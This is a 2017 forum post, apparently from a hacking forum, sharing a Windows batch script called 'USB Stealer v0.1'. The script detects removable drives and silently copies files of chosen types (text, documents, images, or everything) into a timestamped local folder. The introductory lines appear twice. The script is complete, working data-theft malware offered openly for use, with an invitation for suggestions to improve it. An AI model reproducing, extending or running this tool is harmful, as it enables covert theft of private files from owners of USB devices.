Jul 23, 2017 04:49 AM
(This post was last modified: Jul 23, 2017 04:52 AM by Sphere of Madness.)
Hello,
here is simple USB stealer that copy files from removable devices to local dump.
Suggestions are welcomed :)
Yet Another USB Stealer v0.1
* supports filetype filter
here is simple USB stealer that copy files from removable devices to local dump.
Suggestions are welcomed :)
Yet Another USB Stealer v0.1
* supports filetype filter
Code
::
:: USB Stealer v0.1
:: Sphere of Madness / HF
::
@echo off
SETLOCAL
:: Home directory where files are copied
set _home=%UserProfile%\Collector
:: Filetypes to steal
:: Change to *.* if you want steal everything
set _filetypes=*.txt *.doc *.jpg
:: Create home directory
If not exist "%_home%" (
mkdir "%_home%"
)
:: GetDate.cmd
:: ss64.com/nt/syntax-getdate.html
:: Check WMIC is available
WMIC.EXE Alias /? >NUL 2>&1 || GOTO s_error
:: Use WMIC to retrieve date and time
FOR /F "skip=1 tokens=1-6" %%G IN ('WMIC Path Win32_LocalTime Get Day^,Hour^,Minute^,Month^,Second^,Year /Format:table') DO (
IF "%%~L"=="" goto s_done
Set _yyyy=%%L
Set _mm=00%%J
Set _dd=00%%G
Set _hour=00%%H
SET _minute=00%%I
)
:s_done
:: Pad digits with leading zeros
Set _mm=%_mm:~-2%
Set _dd=%_dd:~-2%
Set _hour=%_hour:~-2%
Set _minute=%_minute:~-2%
:: Display the date/time in ISO 8601 format:
Set _isodate=%_yyyy%-%_mm%-%_dd%__%_hour%_%_minute%
goto scan
:s_error
:: Create random numbers if WMIC is NOT available
Set _isodate=%random%
:: End of GetDate.cmd
:: Scan for USB devices and copy defined filetypes to home directory
:scan
for /F "tokens=1*" %%a in ('fsutil fsinfo drives') do (
for %%c in (%%b) do (
for /F "tokens=3" %%d in ('fsutil fsinfo drivetype %%c') do (
if %%d equ Removable (
robocopy %%c "%_home%\%_isodate%" %_filetypes% /E >NUL
)
)
)
)
